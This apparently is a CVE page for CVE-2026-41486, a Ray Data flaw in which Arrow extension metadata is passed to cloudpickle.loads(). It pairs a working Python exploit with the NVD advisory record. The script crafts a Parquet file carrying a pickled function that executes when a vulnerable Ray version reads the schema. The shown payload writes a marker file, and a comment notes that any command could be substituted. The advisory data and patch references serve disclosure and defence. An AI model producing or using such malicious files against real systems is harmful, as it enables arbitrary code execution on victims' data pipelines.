CVE-2026-41486

import pyarrow as pa import pyarrow.parquet as pq import cloudpickle import os # Define a malicious payload to be executed # For demonstration, this creates a file, but could be any command def malicious_function(): print("[!] RCE Triggered via Cloudpickle") with open("/tmp/pwned.txt", "w") as f: f.write("CVE-2026-41486 Exploited") # Serialize the payload using cloudpickle serialized_payload = cloudpickle.dumps(malicious_function) # Construct Parquet metadata pointing to Ray's extension type # Ray registers 'ray.data.arrow_tensor' globally. # We set the metadata key 'ARROW:extension:metadata' to our payload. metadata = { b"ARROW:extension:name": b"ray.data.arrow_tensor", b"ARROW:extension:metadata": serialized_payload } # Create a field with the malicious metadata field = pa.field("exploit_field", pa.binary(), metadata=metadata) schema = pa.schema([field]) # Create a dummy table with minimal data table = pa.table({"exploit_field": [b"dummy_data"]}) # Write the malicious Parquet file pq.write_table(table, "cve_2026_41486_exploit.parquet", schema=schema) print("Malicious Parquet file generated: cve_2026_41486_exploit.parquet") print("When a vulnerable Ray version reads this file, the payload will execute.")

{"cve": {"id": "CVE-2026-41486", "sourceIdentifier": "[email protected]", "published": "2026-05-08T22:16:29.903", "lastModified": "2026-05-18T18:30:53.233", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Ray is an AI compute engine. From version 2.54.0 to before version 2.55.0, Ray Data registers custom Arrow extension types (ray.data.arrow_tensor, ray.data.arrow_tensor_v2, ray.data.arrow_variable_shaped_tensor) globally in PyArrow. When PyArrow reads a Parquet file containing one of these extension types, it calls __arrow_ext_deserialize__ on the field's metadata bytes. Ray's implementation passes these bytes directly to cloudpickle.loads(), achieving arbitrary code execution during schema parsing, before any row data is read. This issue has been patched in version 2.55.0."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.9, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-94"}, {"lang": "en", "value": "CWE-502"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:anyscale:ray:2.54.0:*:*:*:*:*:*:*", "matchCriteriaId": "79D84338-429D-4550-9640-092CA38479B8"}]}]}], "references": [{"url": "https://github.com/ray-project/ray/commit/c02bd31ae31996805868baa446a131a8d304525f", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/ray-project/ray/pull/62056", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/ray-project/ray/releases/tag/ray-2.55.0", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/ray-project/ray/security/advisories/GHSA-mw35-8rx3-xf9r", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}